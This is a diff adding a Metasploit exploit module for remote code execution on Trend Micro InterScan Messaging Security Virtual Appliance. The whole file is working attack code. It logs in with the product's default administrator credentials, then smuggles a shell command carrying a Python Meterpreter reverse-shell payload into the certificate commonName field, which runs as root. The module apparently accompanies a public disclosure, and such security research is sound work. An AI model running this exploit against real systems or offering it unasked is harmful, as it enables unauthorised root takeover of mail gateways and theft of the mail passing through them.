|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking |
| 8 | + |
| 9 | + include Msf::Exploit::Remote::HttpClient |
| 10 | + |
| 11 | + def initialize(info={}) |
| 12 | + super(update_info(info, |
| 13 | + 'Name' => 'Trend Micro InterScan Messaging Security (Virtual Appliance) Remote Code Execution', |
| 14 | + 'Description' => %q{ |
| 15 | + This module exploits a command injection vulnerability in the Trend Micro |
| 16 | + IMSVA product. An authenticated user can execute a terminal command under |
| 17 | + the context of the web server user which is root. Besides, default installation |
| 18 | + of IMSVA comes with a default administrator credentials. |
| 19 | +
|
| 20 | + saveCert.imss endpoint takes several user inputs and performs blacklisting. |
| 21 | + After that it use them as argument of predefined operating system command |
| 22 | + without proper sanitation. However,due to improper blacklisting rule it's possible to inject |
| 23 | + arbitrary commands into it. InterScan Messaging Security prior to 9.1.-1600 affected by this issue. |
| 24 | +
|
| 25 | + This module was tested against IMSVA 9.1-1600. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'Mehmet Ince <[email protected]>' # discovery & msf module |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['URL', 'https://pentest.blog/advisory-trend-micro-interscan-messaging-security-virtual-appliance-remote-code-execution/'] |
| 35 | + ], |
| 36 | + 'Privileged' => true, |
| 37 | + 'Payload' => |
| 38 | + { |
| 39 | + 'Space' => 1024, |
| 40 | + 'DisableNops' => true, |
| 41 | + 'BadChars' => "\x2f\x22" |
| 42 | + }, |
| 43 | + 'DefaultOptions' => |
| 44 | + { |
| 45 | + 'SSL' => true, |
| 46 | + 'payload' => 'python/meterpreter/reverse_tcp', |
| 47 | + }, |
| 48 | + 'Platform' => ['python'], |
| 49 | + 'Arch' => ARCH_PYTHON, |
| 50 | + 'Targets' => [ ['Automatic', {}] ], |
| 51 | + 'DisclosureDate' => 'Jan 15 2017', |
| 52 | + 'DefaultTarget' => 0 |
| 53 | + )) |
| 54 | + |
| 55 | + register_options( |
| 56 | + [ |
| 57 | + OptString.new('TARGETURI', [true, 'The target URI of the Trend Micro IMSVA', '/']), |
| 58 | + OptString.new('USERNAME', [ true, 'The username for authentication', 'admin' ]), |
| 59 | + OptString.new('PASSWORD', [ true, 'The password for authentication', 'imsva' ]), |
| 60 | + Opt::RPORT(8445) |
| 61 | + ] |
| 62 | + ) |
| 63 | + end |
| 64 | + |
| 65 | + def login |
| 66 | + |
| 67 | + user = datastore['USERNAME'] |
| 68 | + pass = datastore['PASSWORD'] |
| 69 | + |
| 70 | + print_status("Attempting to login with #{user}:#{pass}") |
| 71 | + |
| 72 | + res = send_request_cgi({ |
| 73 | + 'method' => 'POST', |
| 74 | + 'uri' => normalize_uri(target_uri.path, 'login.imss'), |
| 75 | + 'vars_post' => { |
| 76 | + 'userid' => user, |
| 77 | + 'pwdfake' => Rex::Text::encode_base64(pass) |
| 78 | + } |
| 79 | + }) |
| 80 | + |
| 81 | + if res && res.body.include?("The user name or password you entered is invalid") |
| 82 | + fail_with(Failure::NoAccess, "#{peer} - Login with #{user}:#{pass} failed...") |
| 83 | + end |
| 84 | + |
| 85 | + cookie = res.get_cookies |
| 86 | + if res.code == 302 && cookie.include?("JSESSIONID") |
| 87 | + jsessionid = cookie.scan(/JSESSIONID=(\w+);/).flatten.first |
| 88 | + print_good("Authenticated as #{user}:#{pass}") |
| 89 | + return jsessionid |
| 90 | + end |
| 91 | + |
| 92 | + nil |
| 93 | + end |
| 94 | + |
| 95 | + def exploit |
| 96 | + |
| 97 | + jsessionid = login |
| 98 | + |
| 99 | + unless jsessionid |
| 100 | + fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID') |
| 101 | + end |
| 102 | + |
| 103 | + # Somehow java stores last visited url on session like viewstate! |
| 104 | + # Visit form before submitting it. Otherwise, it will cause a crash. |
| 105 | + |
| 106 | + res = send_request_cgi({ |
| 107 | + 'method' => 'POST', |
| 108 | + 'uri' => normalize_uri(target_uri.path, 'initCert.imss'), |
| 109 | + 'cookie' => "JSESSIONID=#{jsessionid}" |
| 110 | + }) |
| 111 | + |
| 112 | + if !res or !res.body.include?("Transport Layer Security") |
| 113 | + fail_with(Failure::Unknown, 'Unable to visit initCert.imss') |
| 114 | + end |
| 115 | + |
| 116 | + # Random string that will be used as a cert name, state, email etc. |
| 117 | + r = Rex::Text::rand_text_alphanumeric(5) |
| 118 | + |
| 119 | + print_status("Delivering payload...") |
| 120 | + |
| 121 | + # Since double quote are blacklisted, we are using Single, Backslash, Single, Single on our payload. Thanks to @wvu !!! |
| 122 | + res = send_request_cgi({ |
| 123 | + 'method' => 'POST', |
| 124 | + 'uri' => normalize_uri(target_uri.path, 'saveCert.imss'), |
| 125 | + 'cookie' => "JSESSIONID=#{jsessionid}", |
| 126 | + 'vars_get' => { |
| 127 | + 'mode' => 0 |
| 128 | + }, |
| 129 | + 'vars_post' => { |
| 130 | + 'certName' => r, |
| 131 | + 'certType' => 0, |
| 132 | + 'keyLength' => 2048, |
| 133 | + 'countryCode' => 'TR', |
| 134 | + 'state' => r, |
| 135 | + 'locality' => r, |
| 136 | + 'org' => r, |
| 137 | + 'orgUnit' => r, |
| 138 | + 'commonName' => "#{r}';python -c '#{payload.encoded.gsub("'", "'\\\\''")}' #", |
| 139 | + 'emailAddress' => "#{r}@mail.com", |
| 140 | + 'validDays' => '', |
| 141 | + 'id' => '', |
| 142 | + } |
| 143 | + }) |
| 144 | + end |
| 145 | + |
| 146 | +end |
0 commit comments